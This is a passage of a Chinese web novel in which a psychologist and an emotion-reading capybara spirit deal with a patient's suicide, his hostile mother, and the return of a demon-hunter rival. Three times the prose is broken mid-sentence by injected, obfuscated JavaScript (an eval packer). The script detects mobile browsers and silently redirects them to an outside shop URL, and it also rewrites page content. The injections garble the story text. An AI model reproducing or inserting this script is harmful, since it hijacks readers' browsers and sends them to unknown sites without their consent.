至于他究竟能否摆脱自己的原生家庭,段琅然帮不了太多,只能看梁铮自己的运气了。 在这时候,只要是行内人其实都能明白。段琅然冒险接下了这个情况特殊又极端的患者,是她不顾自己的名声,不顾自己的业绩,只纯粹地想要救一个失足青年。 梁铮也确实在越来越好,他越来越少的提起自己的往事,更多的在和段琅然说学校里的事,讲那些普通学生会有的快乐和烦恼。 段琅然很欣慰,她觉得自己长久的治疗、程小满的辅助,都是有用的。 心理学上一直把和世界高度失去联系的人视作轻视生命的高危人群。 也因此,对于重度抑郁患者最先需要接受的治疗并不是舒缓他们的心情,抑或让他们看开,而是让他们重建和这个世界的联系。 某一次,梁铮说:“我过两年也许会出国。” “那是好事啊。”段琅然笑着说。 “确实是好事。我不明白为什么我会在这样的家庭里出生,但家庭和出身我没有办法选择。所以未来我要自己去选择。” 程小满和段琅然都以为,梁铮身上的希望应该在逐渐充盈,可奇怪的是,程小满依然没再他身上看到一星半点的希望。他甚至以为自己眼花了。 明明他已经准备开始新的生活了,怎么会呢。 梁铮来了这里五次、十次、最后数不清来了多少次。 长久的治疗过后,梁铮几乎已经是一个正常人,是一个健康的人。 段琅然根据他的综合评价表告诉他:“你其实已经不用来我这里这么频繁了。” 那时候梁铮还笑着说:“段医生,我谈恋爱了。” 就在那句话之后,五分钟不到,他的母亲破门而入,不讲任何理由地把他给带走。 从此,一切的治疗一切伤痛的愈合,全部归零。 从那以后,段琅然没有再见过梁铮。直到两个月以后某的一天,再次听到梁铮的消息。 梁铮没有来,来的是他那个蛮横的母亲。 “我儿子死了。” 段琅然莫名其妙,那时还在耐心地询问女人:“怎么了,您儿子是出什么事了吗?” 女人看到她的脸,上来就是一个巴掌,幸好段琅然反应快,躲了过去。 女人愤恨不已,咬牙切齿:“我儿子死了,你没有听见吗!” “您儿子是......” “我儿子死了......他生前来你们这里看过病,我绝对没有记错!当时,当时是不是你给他看的?我记得你!” “你是小铮的家属吗?”段琅然心凉了半截。 “你们到底对他说什么了?他一回去就又开始作死,不肯吃饭不肯睡觉。你们到底对他做什么了!” 医闹。 段琅然遇到过。 重症的抑郁患者轻生、自杀未遂,这都是常见的病情。像是段琅然这样坐诊有些年头、稍有经验的医生,不可能完全没有接诊过重症抑郁患者。 她接受过许多医闹的培训,自然知道要用什么话术显得她专业一点。 “患者家属请您节哀。小铮的离开我们也很痛心,但是......我们已经尽最大可能去救他了。他活着的时候真的很痛苦,也许让他走了,反而对他来说算一种解脱吧。” “我儿子好好的要什么解脱啊!你没有孩子你不会懂的,我的孩子死了......肯定是,是你们对他说了什么,说了那种反社会,反人类的话,刺激到他了!否则我好好的儿子怎么可能说跳楼就跳楼了,他以前一直是个很好的孩子啊......” 女人说着说着声音带上了哭腔,一时竟真让人难以辨别她对自己儿子感情的真假。 “阿姨,恕我直言,”段琅然受不了她继续假惺惺地哭,脸色沉下来,“您不妨扪心自问一下,您和您丈夫究竟对他做过些什么?” 段琅然难以理解,这样的人怎么配称自己为一个母亲?怎么配说她很爱自己的孩子?他对自己儿子的伤害视而不见,对凶手默不作声。 梁铮的死,她难道不算是帮凶吗? “你们别想糊弄我。医院把人治死了,都是要赔钱的,你们这里不是医院吗?他来你们这里看了病,然后死了你们也是要赔钱的。” 虽说此事听来颇为搞笑,一个两个月没有来咨询过的患者死了,诊所是不需要支付任何赔偿的。 但梁铮和其他的患者不一样。段琅然觉得,赔钱事小,让这个所谓的母亲明白她自己的过错,比压低赔款要重要的多。 程小满说梁铮的眼里,梁铮的身体里一直失去一种名为希望的情绪。 段琅然一直很疑惑,一个已经这么努力的改变生活,这么努力的向着前方,马上就要走出过往阴霾的人,怎么可能身体里还是一点希望都没有? 直到他得知梁铮真的死了。他才恍然想起程小满提出的那个大胆的猜想。 “段医生,你说会不会有一些人他们的情绪被吃掉了?” 此话乍一听相当恐怖,像是在玩什么吃人的规则怪谈。 “你是说,那些情绪被人吃掉了?” “也不一定是人......他给我的感觉像是他生来就没有这种情绪,是完全没有。所以比起缺少,我觉得更像是被吃掉了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540027|203913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “吃掉了......不一定是人。那会是什么呢?” 这个问题一直困扰了段琅然很久。她从过往的经历,从她接诊过的患者,从她看过的所有案例里都没有找到答案。 不过,纵观所有患者没有被成功治愈,最后轻生的案例,她似乎都能明确地看到患者缺少某一种情绪。或是冷静、或是勇气,也可能是恐惧、是疲惫。 如果真如程小满所说,他们的情绪是被吃掉了,那他们的死亡或许早就被注定。 “女士,如果您来这里就是为了给小铮多讨要一点赔偿的话,那您不用白费这个口舌了。赔偿都是医院走流程的,我说了不算。”段琅然直接开诚布公地戳破了女人的心思。 女人倒也没有恼羞成怒,表情仍像刚才那样:“别想糊弄我。该要的钱我一分都不会少,该讨的公道我也会都从你们这里讨回来!别以为我是好对付的。” “如果到时候您坚持认为医院对赔偿的定价不公平的话......”段琅然卖关子似的刻意顿了顿,“那就需要强制对患者的诊治过程进行公开。” 她扯出一个礼貌的微笑:“其中小铮和我对话的全部录音也会被公开,如果您不介意这些的话,我们法庭见也可以。” 如果对方真的要走到那一步,段琅然也不害怕。她没有违规操作,患者的死亡距离她上一次接诊时间也很久远,她完全不需要承担法律责任。 那女人听到这句话突然哑了火,想不到这句话的威力竟然和那天他被程小满瞪了两眼之后差不多。 看来梁铮的死因对她来讲属于一种家族丑闻。 “您如果没有意见的话,我们就走流程吧,也没有必要在这里继续浪费口舌了,您的时间和我的时间同样宝贵。” 女人拿起手机看了看消息,朝段琅然翻了个白眼:“谁要跟你浪费口舌?有什么事,跟我妹妹说吧。” 旁边围观的一众医生纷纷看向那个女人。 “吵架就吵架,怎么还摇人呢?” “她摇来的人能有多厉害,就能吵得过段医生吗?” 段琅然的脾气人尽皆知,熟人尚且对她没办法,更何况还是个素未谋面的人,哪里来的自信? 正当那女人趾高气扬时,不远处停下了一辆豪车。 段琅然认得那个车的牌子。曾经读书时候做过一段时间朋友的杨弋,开的也是这个牌子的车。 只可惜后来,她们决裂,杨弋去了国外,这么多年没回来过,那辆车没兴许被她卖了。 段琅然觉得有点可惜,她其实还有点喜欢那辆车,要不是家里车太多了开不过来,她应该也会买一辆开开。 车门打开,走下来一个女人,穿着的衣服与梁铮母亲那种土豪暴发户的风格完全不同,荡领的礼服低调却能一眼看出高级感,又很正式,在一众常服之间轻易地脱颖而出。 很奇怪,很奇怪。如果是这位火冒三丈女士的亲戚,怎么会如此有品位。 身着礼服的女人轻轻摘下墨镜,露出了完整的脸。 段琅然愣在了那里。 女人一步一步走近,方才的气焰嚣张的患者家属气焰也越发嚣张。 “嫂子,这里交给我,您先回去吧。放心,小铮的死我一定会给他讨个公道。” 原本段琅然憋着一肚子呛人的话,在见到那张脸后,忘了个干净。 那个女人距离段琅然只剩下十步不到的距离。 女人没有看向他,段琅然也没有开口。 直到把患者家属被支走,场上只剩下几个医生和段琅然的时候,那个女人的目光终于投射了过来。 在看见段琅然的第一秒,她也愣住了。 她开口,语气五味杂陈:“小段……为什么是你?” 5. 他们是前任关系 段琅然不愿意回忆自己大学时候的经历。 那段过往对别人来说也许是她的光辉事迹,但对她自己来说,那是她不堪回首的过往。 “我们竟然会在这种地方见面。” 眼前的女人脸上情绪相当收敛,她默默的把墨镜折起来,收进手提包里。 一别数年,当年的不愉快仍然历历在目。段琅然这时候如果说想念她们大学时候美好的时光,听上去实在虚伪。 但此刻第一个浮现在段琅然心里的念头,竟然是她有些想念杨弋了。 比起那些她们相处时的美好,段琅然更加怀念的是她们能够平等的成为对手的那些日子。 “又见面了,杨弋。” “抱歉,这一次事关我的侄子。公事还是要公办,至于我们的私事。等这件事结束了再说吧。” 其实在段琅然看见他那张脸的时候,就早已没了心情去谈论有关赔偿的事情。只要杨弋站在这里,段琅然就明白,她注定是要输掉的。 不管是十几岁的当时还是二十几岁的现在。 “他是你的侄子?” “是,算是吧。我姓杨,他姓梁,因为我和我哥是重组家庭的兄妹。我们......其实并没有血缘关系。” 段琅然松了一口气。 原本她还是担心,能被患者家属那样不讲理的人摇过来的救兵,估计也不是个听得懂人话的。后来她看到了杨弋,甚至以为杨弋也变成了那样的人。 她害怕和杨弋成为对手是真的,但杨弋过了这么多年没有变,这是段琅然感到很欣慰的事。 她们的交谈没有产生太多的冲突。杨弋讲道理、懂法律,不会提出很过分的要求,也方便后续走法律程序。 但杨弋的出现就像是一个导火索。 那天晚上她的梦里反复的出现当年的情景,看见杨弋站在高高的领奖台上,像是今天见面时那样,露出礼貌疏离、又带着一点得意的神情。 她忽然惊醒,看见床帘底下钻出来了外面的光。竟然已经天亮了。 一大早的,段琅然就憋不住事,赶紧打了电话给程知乐,告诉他杨弋回国了。 那一头程知乐原本还迷迷糊糊的,被段琅然一句话吓得完全清醒。 “你没看错吧?” “她就坐在我面前,和我就隔着一张桌子。” 段琅然知道这个消息对于程知乐而言也是爆炸性的,毕竟杨弋对于段琅然来说,只是前同学兼前竞争对手,而对于程知乐而言,那可是他的前女友。 电话挂断之后,段琅然的脸上浮现了一抹得逞的笑容,被早早起来的程小满看见了。 换做旁人,都会以为段琅然笑是在高兴自己的朋友要和纠缠多年的真爱重逢。 但很可惜,那是程小满,他的妖精能力能让他看透人所有的情绪。 “告诉程知乐,那个女人不会再跟你起冲突了。你在幸灾乐祸是吗?” “小兔崽子,人家有名字,她叫杨弋,什么叫那个女人,说出来多难听。” 段琅然的心情看起来不错,也没有突然暴起,追究程小满乱说话。 程小满倒是严谨得很:“我不是兔崽子。” “水豚崽子,水豚崽子行了吧?一共也就五岁,我不教你崽子,我难道叫你老爷子吗?” 程小满一张水豚脸垮下来:“我是只有五年记忆,我又不是只活了五年。” “行行行,老爷子,老前辈,你活了五百岁。” 段琅然的高兴情绪根本藏不住。 她抱起程小满:“我要好好跟你说说,他们俩当年发生了什么事。” 程小满对八卦向来保持一个不主动追求,但是来者不拒的态度。他从段琅然身上跑下去。去客厅里抓了一把菜叶子,抱在怀里又跑回来。 相当于人类把瓜子和小啤酒都准备好了,就等着吃大瓜。 程小满拍了拍段琅然的手:“你说吧。” “当年啊程知乐这个家伙,他是看上人家姑娘长得好看,冒冒失失地就去追求了。我当时就说,人家姑娘未必能看得上你。当时杨毅他和我是一个专业的,程知乐不是啊,他的专业在当时看来是略站在歧视链下端的。他本人呢,学术上也没有什么特别的造诣,顶多也就是有一张脸,家里稍微有点钱。” 其实他这个条件放在婚恋市场上还是相当吃香的,高富帅,富二代。但是放在杨弋面前那就没得看了。 杨弋她家里也有钱,她本人长得也好看。那她为什么要跟程知乐这种草包在一起? “可是,”段琅然故作神秘的顿了顿,“杨弋经不住程知乐的死缠烂打,就也冒冒失失地答应了。” “这一答应可好了,没过多久,程知乐他那个前女友找上门了。” 程知乐年轻时候不说遍地留情,也是相当风流,前女友的数量两只手数不过来。段琅然现在依然不能理解,为什么当年的杨弋会跟他在一起,还口口声声说自己是真的喜欢程知乐。 “你说这事巧不巧?按理说那个前女友是主动甩了程知乐的,可是好巧不巧,她知道程知乐谈了个好的,就心里不平衡了,想方设法要拆散他们这对。这可不是我造谣啊,这是她后来亲口承认的。” 程小满忽然想起一件事情:“她是不是就是你那天说的,那个捉妖师啊、” 段琅然从分享大瓜的喜悦心情中猛地醒悟:“对哦,还有这回事,差点忘了。” “你这么一说,我确实想起当年有一些事情很奇怪。” “当年那个前女友找上门,非说自己肚子里的孩子是程知乐的,还把孕检报告单明晃晃的几乎要拍在杨毅的脸上挑衅她。结果没过多久,这个女的就被捉奸在床,她是和我们学院的教授苟且,被教授的老婆亲眼看见。” “所以那个孩子其实是教授的吗?” “我又不是她肚子里的孩子,我怎么知道?我只记得那女人来闹的时候,她肚子并不大。但程知乐那个时候已经跟他分手了超过四个月了。如果真的是程知乐的,早该显怀了。” 以段琅然对程知乐的了解,他做不出那种被人分手了还要吃回头草,跟人家再来一炮的事情。 程知乐是坦荡的,但是杨弋又是怎么笃定程知乐是清白的呢? “她是捉妖师......” “你是怀疑,她其实早就知道那个女人在外面和教授一块,甚至有可能是她把此事告诉教授的老婆的?” “只是猜测。” “你不光猜测了这个,你还猜测她是用了什么特别的法术,对吧?” 被戳破心思,程小满略显心虚。 他知道自己的记忆一定和段琅然有关系,所以对于和段琅然有过较为亲密关系的人,他自然也想了解,也想调查。 只是如今困在水豚的身体里,诸多行动都不方便。他的妖力也很弱,许多法术他记得,却没办法施展出来,不知道要怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540028|203913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样才能恢复。 “段医生,你后面还会去见他吗?” 段琅然看了看程小满:“你想见她?她身上,是不是有什么你想找的东西?” 程小满毫不避讳:“是。我要找回我的记忆。她是捉妖师,和妖精有关。她又和你曾经相熟,而你身上,明确有我记忆的碎片。我有理由相信,我的记忆可能和她有关系。” “那不如就去会会他吧,也很多年没见了。” 段琅然放下程小满,站起身,意味深长地说:“我不知道他现在变成了什么样的人。我也很想知道当年他为什么离开。又为什么,我们会变成那种关系。” 还没等到段琅然私下约见,患者葬礼的邀请先来了。 不是患者的父母递来的邀请,是杨弋递来的,身份是......患者的朋友? “朋友也算不上吧,只是诊治时间久一点的医患关系。不过杨弋这是......也想见见我的意思?” 梁铮是段琅然接手时间相对长的一个患者。比起其他患者,这样长期频繁的进行心理咨询,很多人都能够从过去的创伤中走出来,病能够好个大半。 段琅然始终觉得,梁铮是在运气上差了一些。明明快要见到光明,突然又被拉回了那个黑暗的牢笼。 这场葬礼却推翻了她的猜想。 她在葬礼上亲眼见到梁铮母亲把一个东西钉在梁铮的棺材板上。是一个金属制品,泛着亮黄的光泽。 程小满眼睛非常尖,即便只是缩小身形躲在段琅然的口袋里,还是一眼看清了那个东西。 “那是捉妖师家族的代表。” “你说谁是捉妖师?梁铮吗?”段琅然顿时产生了警惕。 对啊,杨弋出生于捉妖师家族,那么他同父异母的哥哥和侄子,是否也继承了这种家学呢? 梁铮曾经说过,在他很小的时候,有一段时间被家人关在一间光线不好的幽暗屋子里。没有虐待他,吃喝都照常给,甚至比平时更加丰盛,但要求他专心读一本书。那本书很怪,当时他没有看懂。 后来过了一两个月,有陌生人进了那个房间,问了梁铮几个奇怪的问题,又上下查看他的身体状况,摇摇头走了,梁铮也就此重获自由。 只是自那以后,周围的亲戚看她的眼神都与此前不同。他们对他态度很轻蔑,时常对他说的话置之不理,把时间几乎全都留给了他年幼的妹妹。哪怕后来梁铮考上了一个好的学校,那种轻蔑也没有减少半分。 当时段琅然没有想明白这段经历意味着什么,甚至怀疑那是梁铮的幻觉症状给自己编造的虚假记忆。如今想来,此事确实有几分蹊跷。 这像是捉妖师家族在对继承人进行某种......筛选? 段琅然正在思考,忽然手机响了一声,她收到了程知乐发来的消息。 【你怎么去杨弋侄子的葬礼了?】 段琅然发去三个问号。 【你跟他到底见了几次?】 段琅然无语。 【她侄子是我之前经手的患者,所以才邀请我去的,有什么问题吗?】 程知乐那边保持了很久的“对方正在输入......”。 输入了很久,他最终一个字都没说。 段琅然合上手机,骂骂咧咧地说:“真奇怪啊这人。他自己怕他前女友,不敢去见他前女友,现在还不允许我见了。我连杨弋侄子的葬礼都不能去了。他这人是不是有病啊?” 6. 我知道你恨我 葬礼结束后,段琅然被杨弋叫住。 “小段,一起去喝个咖啡吧。”她笑得和当年一样带着点虚伪,声音多年没变,还是那样温柔。 段琅然疑惑。 “你以前好像不会喝这么养生的东西吧?” 说完这句话,段琅然和杨弋两个人同时愣住了。 在杨弋出国之前,包括当事人在内的所有人都认为她们决裂了。她们的友谊关系因为一场竞争而彻底结束,从那以后,她们谁也看不起谁。 而现在,在杨弋已经离开了段琅然社交圈很多年之后,再一次见面,段琅然竟然还能清楚的记得当年的杨弋喜欢什么。 “我记得你好像说,过你最讨厌喝咖啡了,那种东西苦得要死。” “都是以前的事情了。总提那些事做什么?不过你既然都这么说了,走吧,去酒吧喝一杯?” “哼,这才像你。” 她们并肩往前走,谁也看不出她们的关系曾经闹得那样僵。 好像只要时间过得够多,再多的伤痕都会自己愈合,再难堪的关系也可以自行修补。 段琅然已经快要忘记当年她是因为什么而恨杨弋,只有那段不太好的回忆一直困扰着她。 明明当时只是因为一个项目。那个项目段琅然很有把握,导师也说了很多次,段琅然有八成以上的把握能赢。赢下那场比赛的彩头是出国进修的一个机会,对于十几岁的段琅然来讲,那是她当年梦寐以求的机会。 最终却极其荒谬地,被杨弋给反超。二人的分数相差非常微小,段琅然的扣分点在于动物实验的数据不够完美,操作流程不够严谨。 那已经是段琅然反复进行了几十次实验,挑出来最好的一组数据了,可在杨弋漂亮的实验结果面前,仍然相形见绌。 于是在段琅然眼中,是杨弋“抢走”了她的囊中之物。 段琅然对人对事都很公正,外界对杨弋本人有一些不好的传言,诸如和教授过从亲密、数据造假,霸凌师弟师妹等一干事,段琅然都保持理智没有盲目相信。 可等到她去询问杨弋时,杨弋却态度很奇怪地回避了,令段琅然感到荒谬。 外部对她们二位难较高下的系花之间关系的谣传更是五花八门。 主流的说法是杨弋当时和程知乐谈恋爱,段琅然作为青梅竹马,多年暗恋程知乐未果,心里不平衡,因而记恨上杨弋,感情颇好的两人就此决裂。 杨弋知道段琅然从来也不喜欢程知乐,她如果喜欢的话早就下手了。段琅然也清楚,杨弋不会相信那种很低级的谣言。谁都没就此事进行解释,心照不宣地没有相信这些流言。 酒吧的灯光昏暗而复杂。把清醒的人都能照的微醺。好像世间所有寻常事,只要被那七彩的灯光一照,都能染上旖旎色彩,混进荒唐事之间,看不出什么两样。 “在国外这些年你过得好吗?” 说出口了,段琅然发现奇怪。这话像是前任相见时会说的。 这不该是她的台词吧?这应该是程知乐的台词才对。 “小段,其实我今天是向你道歉的。当年的事情对你的打击很大,我一直都知道。” 段琅然从心底里没觉得杨弋是“有错”的。她们两个谁都没有做错,她当然不能因为她是输的那个,就要去找杨弋的错处。 “你没有错,我们都没有错,何谈道歉一说。当年的事......现在看来也就是那样了。出国名额本就是公平竞争,你能做的比我更好,说明这个机会是你应得的。我也许是不够努力,也许是运气差了一点。” “你不用这样说,我知道你恨我。” 段琅然笑了:“杨弋,你说话还是这么直白。” “我这次回国是彻底打算要在国内发展了。从事业上来讲,以后我未必没有要来求你的时候。从我私人感情上来讲,我觉得我们当年的事还是说开了比较好。” “说开?这件事情还有什么没说开的!你和教授关系好,我知道。我输给你是因为我不够努力,是我不愿意当出头鸟,我都认。但是你,你已经赢了,我还要带着你的荣誉招摇过市,生怕别人不知道我是你的手下败将,我请问这些事情有意思吗?” 杨弋脸上露出略微的讶异:“小段,你说的是气话还是真心话?你明知道我没有......” “是你要说开的,既然要说开,那你就说说明白。当年教授一直拿你做我的对照,你心里难道一点数都没有吗?你天衣无缝的实验数据,那些真的一点猫腻都没有吗?后来我的数据莫名其妙被偷,外面关于我学术不端的谣言满天飞!在那个时候,你一句安慰的话都没跟我说过,我们那时候还能算得上是朋友吗?” 段郎然深吸一口气:“就算,就算退一万步说,那些事全都不是你做的,你也是既得利益者对吧。我就算因此而恨你,那也是理所应当的。” 她叹了一口气:“没错,我当年恨过你。” “我恨的是你拿那些低级的套路算计我。你明明有能力可以大大方方,坦坦荡荡的赢,为什么一定要用那些手段?你在我眼里完完全全不是这种人。那我呢,我在你眼里就是这么不值得珍惜的一个朋友吗?” 杨弋听完她发火,全程沉默。段琅然明白,在这种场合下,沉默就代表着默认。 她没再问什么,毕竟这些事各自的真假她在当年就已经清楚了。就算有些事还无法确认,都已经过去这么多年,真假也早就不重要了。 “你真的没什么想要辩解的吗?” “小段,我如果跟你说那些事并不是我做的,你会不会愿意相信?” 段琅然紧紧盯着她的眼睛。 “那我要听你的理由。我还要知道究竟是什么人会做出那种下三滥的事情,还一件接着一件,全部矛头都对准我。除了我的竞争对手,我想不出第二个人。你说在那个时候我风头无两,整个学院到底还有谁能够和我抗衡?只有你。” “你应该早就有一些猜测了吧。” “是不是和你的家族,还有你的那些家传学问有关系?我不了解你们的行当,我不知道你为什么非得要得到那个出国的名额,我也不知道我犯了什么错,就要成为你出国的垫脚石,我的前程难道就一点也不值钱吗?” 她越说越愤怒,越说越无法控制情绪:“你知道我当时做了多少准备,就为了那一个名额吗?我想要见到心理学最前沿的教授,我想知道心理学上的绝症到底有没有办法可以解?我的研究到底有没有价值?在我死后,我对人类到底能有多少贡献?那你呢?你是因为在意什么才出国留学的?” “因为我们的家族需要在那里留下眼线,而我是最合适的人选。”杨弋低头,她似乎有些哽咽,“所以他们就想尽一切办法帮我争取到了那个名额。让我能够有一个合适理由地待在那里,留在那里。” “我知道,现在说什么都迟了。你的梦想是因为我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540029|203913||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而夭折,无论怎么说都是我有愧于你,而且一辈子没有办法偿还。现在我只敢说如果有什么能帮得上你的,我一定会帮。不管是什么,要我的钱也好,要我的命也好,都可以补偿给你。” “你的命多么贵重,我怎么敢要啊。”段琅然的眼角也闪了泪花。 二十岁时候,那些不要命的、胆大包天的梦想,在三十岁的时候,就已经不再可能去付诸实践了。 人的一生能有几次二十岁呢? 也许有的人在四十岁的时候会迎来第二次二十岁,但是段琅然不会。因为她在二十岁的时候输了一次,她就再也不敢相信自己了。 “当年,我被造谣,被人笑话,我的病情在中度抑郁的边缘徘徊,还短暂地厌食过。你说,我的二十岁为什么和你的不一样呢?” 程小满躲在段琅然的衣服里静静听着这一切对话。他看不见坐在对面的杨弋长什么样子,自然也就没有办法看出她的情绪是什么样的。 只是根据他的经验和他下意识的感觉。他觉得坐在对面的不是一个坏人,他觉得那个人对段郎然是真的有亏欠的感觉。 “小段......” “我现在不恨你了,我为什么要恨一个陌生人,没意思。” 她用手背抹了一把眼泪:“不用你偿还什么,我本来也有事情要找你,有问题要问你,是关于妖精的事情。” 程小满毫无防备的,眼前视线忽然一亮。 段琅然竟然正大光明的把自己的衣服拉链拉开,掏出了那只藏在他的衣服里的程小满。 程小满惊恐不已,他这辈子都还没见过捉妖师,他脑补过自己被捉妖师抓走的场面,以他现在的能力完全无力反抗。 他甚至有一瞬间想要质问段琅然,为什么要突然把他暴露出来? 对面的杨弋似乎是看出了程小满的慌张,笑着说:“别怕,其实我从刚才就已经知道你的存在了。” 顶级的捉妖师都会在五感之外,有其他特殊的方式感应妖精的存在,作为捉妖世家传人的杨弋自然也不例外。 程小满自知精心的伪装早已被人识破,略显沮丧。 “你的妖力很奇怪。是出了什么事情吗?” 在酒吧乱七八糟的光线中,程小满凝视着对面那个女人的脸,半天也看不清楚。 “我不知道。” 杨弋温柔地笑着,用手摸了摸程小满的头。 “你看着寿数不短。怎么会只有这一点妖力呢?” 段琅然此时对杨弋还没有好气,听到杨弋问出这种蠢问题,毫不犹豫地反击了回去。 “他怎么会知道,如果他知道的话,我今天也不会带着他来问你了。他说他失忆了,那个什么妖力也被封印了。然后有一天他莫名其妙地从我身上看到了他以前的记忆。我说我身上哪里来的别人的记忆,这是不是搞错了?” “段医生,你冷静一点。”程小满在一旁弱弱的提醒,也不知道段琅然听进去没有。 “我冷静不了。” “我的事情,我自己来问就好了,你真的没必要......” 段琅然一脸不解;“哪来的你的事我的事,现在你住在我家里,就是我的事。你的记忆早点给你找到,你也好早点滚蛋。” “段医生,你要赶我走......吗?” 杨弋见氛围不对,略显尴尬地笑了一下:“小段,我先去趟洗手间,麻烦等我一下。” 7. 没有辩白 杨弋离开后,程小满和段琅然相顾无言。 段琅然情急之下说漏了嘴,被程小满听见了她的心里话。 程小满自然是不高兴的。从一开始他就是抱着和这个人类长久生活的念头来到的段琅然家里。如今段郎人竟然说出要赶他走的话,程小满也明白,自己不该再自讨没趣了。 “段医生,从一开始就是我有求于你,一直赖在你家不好。等到事情结束以后,我会自履行当初和你的约定,自己离开,不会再打扰你的生活。” 程小满承认自己产生和这个人类长久相伴的想法是一时冲动。 现在他想通了。他拥有漫长的寿命,而人类注定只有几十年的光阴。和人类交朋友,又或是成为人类的伴侣,注定是一个异常孤独的选择。 段琅然似乎也意识到自己刚才情绪过于冲动,一时低头噤声,许久没有开口。 半晌,她斟酌着向程小满道歉:“也不是要赶你走,我们现在这样就挺好的。到时候你找到记忆,找到能力了。说不定还能保护我,镇宅安家呢。” “镇宅安家......”程小满听见这四个字,忍不住笑了出来。 另一边,杨弋正往洗手间走。她敏锐地察觉到身后有人跟着,他便放慢脚步停在了一个角落里。 “你果然跟来了。” “杨小姐,我们以前见过吧。” “见过,开什么玩笑呢?我真正继任捉妖师也就这么几年。而这几年里,据我所知,你一直待在动物园吧。” “但是你对我似乎很熟悉。你的身上......也能闻到记忆的味道。” 杨弋不以为意:“人和人的记忆本来就是相通互联的,谁身上都能找到你的记忆。” “既然杨小姐是专业的捉妖师,那您是否知道?妖精会因为什么原因失去记忆和妖力,或者在什么情况下会被封印这些东西?” “大多时候是出自自保吧,或是是被人暗算,又或是被人控制,我不是妖精,这些事情问我也问不出什么来吧?”杨弋仍然回以一个礼貌的笑容。 程小满眯起眼睛:“杨小姐一直都知道我的存在,还知道我被养在段医生家里,对吧?我猜测您今天来,不单单是为了和段医生的往事,还有别的意图吧?” 杨弋一阵咋舌:“现在的小妖精,说话真是直白。看出来了就好好把嘴关上,我可以向你保证,我要做的事情不会伤到你,也不会伤到她。” “至于你......”杨弋打量了一番程小满,“明明只有这么点妖力,胆子居然这么大吗?还敢用分身术了。” 程小满轻笑着低头,他知道自己的这具分身维持不了多久。如果一直和杨弋耗下去,一定会被段琅然发现。 “你给自己塑的肉身倒是不错,身材这么好,不怕被段琅然看上吗?她那个人,色心可是很重的。” 程小满囫囵地回答:“你,你不要乱说我和段医生的关系。” 杨弋已读乱回:“我可得提醒你一下,妖精的寿命很长,几百年,几千年都有可能。段琅然她只是个人类,她的命很短。人类只能活几十年,如果你喜欢上她,那等她死了以后,你打算怎么办?” 程小满默不作声地低头。 寿命是妖精和人类相处时无法避开的一个致命问题。因此许多妖精选择避世,选择不与人产生联系。只维持种族内的和谐。 但也有不少妖精融入了人类社会,和人类相处交往,甚至爱上人类。程小满无从去考证他们爱情的结局是什么,但终归都逃不过寿命差距,逃不过阴阳两隔的结局。 杨弋见到他这副表情,毫不意外的笑了一下:“你是情绪类的妖精吧?” 程小满点点头。 杨弋竟然产生了兴趣,问他:“那你看看我现在是什么情绪啊?” 程小满很认真的盯着他看过了一会说:“你好像很高兴。” 说完,程小满表示不解:“你在高兴什么?难道真像段琅然所说,你幸灾乐祸,很高兴看到当年被你打败的人,现在并没有像你想象的那样过得很好,所以你很高兴?” “哟,跟她一起相处久了,连脑回路都跟她长得一模一样了。” “你说你对她有亏欠,肯定不止刚才明面上说出来的那些亏欠吧。有些话,你和作为人类的她不方便说,跟我总能说开吧。” 杨弋终于收敛了笑容,沉默片刻。 “你都看出来了。” “毕竟当年的事我没有亲身经历,谈何看呢?所有的东西都是我猜出来的。你如果想要反驳,肯定能找出一万种理由。” “关于段医生怀疑你动物实验造假的事情。你会怎么解释?”程小满的目光渐渐锐利,紧紧盯着眼前的女人。 “没什么好解释的。我动用了妖族的法术,我让实验对象更听我的话了一些。” “这件事,你恐怕不是因为她是个人类才不告诉她的吧。你是因为心虚。你明明最清楚了,她信奉的一所谓科学的研究。” 杨弋的表情罕见地难以维持体面,露出些许惶恐:“够了!我想她都没有说什么,你更没资格替她质问我了吧。你算是她的什么人呢?” 程小满看出她有些破罐子破摔的意思,语气便更加尖锐:“你还好意思提她?如果你敢把所有的事情原原本本都告诉她,一个字都不差的告诉她,那么不管段医生说什么,我都不会再多说一个字。” 杨弋沉默半晌。 她不情不愿地说:“你还想知道什么?” 程小满想了想,结合前两天从段郎然那里听来的八卦,他想到一个问题。 “也没什么大事,就是想问问,杨小姐平时会不会养......虫子啊?” 杨弋的脸上惊恐的神色更甚:“你连这个都知道?” “我不仅知道这个。我还知道,捉妖师私下和妖精合作是违规的。如果我和段医生能收集到足够的证据,那么您这个高贵的捉妖师职业证......恐怕也难保住啊。” 杨弋彻底慌了。 她这下算是明白什么叫做了解敌人才能战胜敌人。 段琅然是个纯粹的人类,她一向信奉科学,对那些她自认为不科学的知识一概不问。即便它们真正存在,段琅然也不愿相信。 